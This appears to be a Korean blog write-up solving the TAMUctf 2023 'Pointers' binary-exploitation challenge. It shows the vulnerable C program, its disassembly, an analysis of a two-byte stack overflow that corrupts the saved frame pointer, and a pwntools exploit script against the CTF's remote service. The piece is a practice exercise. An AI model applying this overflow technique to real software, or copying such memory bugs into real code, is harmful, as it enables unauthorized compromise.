728x90
반응형
1. intro
2. code 및 분석
2.1. code
#include <stdio.h>
#include <unistd.h>
void upkeep() {
// Not related to the challenge, just some stuff so the remote works correctly
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
void win() {
char* argv[] = {"/bin/cat", "flag.txt", NULL};
execve(argv[0], argv, NULL);
}
void lose() {
char* argv[] = {"/bin/echo", "loser", NULL};
execve(argv[0], argv, NULL);
}
void vuln() {
char buf[010];
printf("Interaction pls: ");
read(0, buf, 10);
}
int main() {
upkeep();
void* func_ptrs[] = {lose, win};
printf("All my functions are being stored at %p\n", func_ptrs);
vuln();
void (*poggers)() = func_ptrs[0];
poggers();
}
2.2. 분석
main 함수에서 lose와 win 함수의 주소를 가진 배열을 선언하고, 해당 배열의 주소를 알려준다
이후 vuln 함수를 실행하는데,
해당 함수에서는 10 바이트만큼 값을 받아들이며,
이후 배열의 첫번재 값을 실행해준다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
조금 의아하긴 한데, 2 byte overflow가 발생한다.
3.2. 공격 준비
vuln 함수의 어셈블러 코드는 아래와 같다.
0x0000555555555248 <+0>: push %rbp
0x0000555555555249 <+1>: mov %rsp,%rbp
0x000055555555524c <+4>: sub $0x10,%rsp
0x0000555555555250 <+8>: lea 0xdd3(%rip),%rdi # 0x55555555602a
0x0000555555555257 <+15>: mov $0x0,%eax
0x000055555555525c <+20>: call 0x555555555030 <printf@plt>
0x0000555555555261 <+25>: lea -0x8(%rbp),%rax
0x0000555555555265 <+29>: mov $0xa,%edx
0x000055555555526a <+34>: mov %rax,%rsi
0x000055555555526d <+37>: mov $0x0,%edi
0x0000555555555272 <+42>: call 0x555555555040 <read@plt>
=> 0x0000555555555277 <+47>: nop
0x0000555555555278 <+48>: leave
0x0000555555555279 <+49>: ret
보다시피 0x10만큼의 버퍼를 확보하고,
rbp - 0x8 위치부터 0xa만큼 값을 받아들인다.
C 코드 상에서는 특별히 문제 없어 보였는데, 실제로는 그렇다.
이후 func_ptrs 배열을 참조할 때, 결국은 rbp 기준으로 stack의 값을 참조하기 때문에
0x5555555552bf <main+69> call 0x555555555248 <vuln>
→ 0x5555555552c4 <main+74> mov -0x20(%rbp), %rax
0x5555555552c8 <main+78> mov %rax, -0x8(%rbp)
0x5555555552cc <main+82> mov -0x8(%rbp), %rdx
0x5555555552d0 <main+86> mov $0x0, %eax
0x5555555552d5 <main+91> call *%rdx
rbp를 변조하게되면 참조할 변수를 변조하는 것과 마찬가지 역할을 하게 된다.
4. exploit
from pwn import *
p = remote("tamuctf.com", 443, ssl=True, sni="pointers")
#p = process('./pointers')
p.recvuntil(b'at ')
leak = int(p.recvline()[:-1],16)
leak = p64(leak+0x28)[0:1]
pay = b'A'*8 + leak
p.sendafter(b'pls: ',pay)
p.interactive()
728x90
반응형
'CTF > Solved' 카테고리의 다른 글
TAMUctf 2023 - Randomness (0) | 2023.05.01 |
---|---|
TAMUctf 2023 - Pwnme (0) | 2023.05.01 |
TAMUctf 2023 - Inspector Gadget (0) | 2023.05.01 |
TAMUctf 2023 - Sea Shells (0) | 2023.05.01 |
TAMUctf 2023 - Unlucky (0) | 2023.05.01 |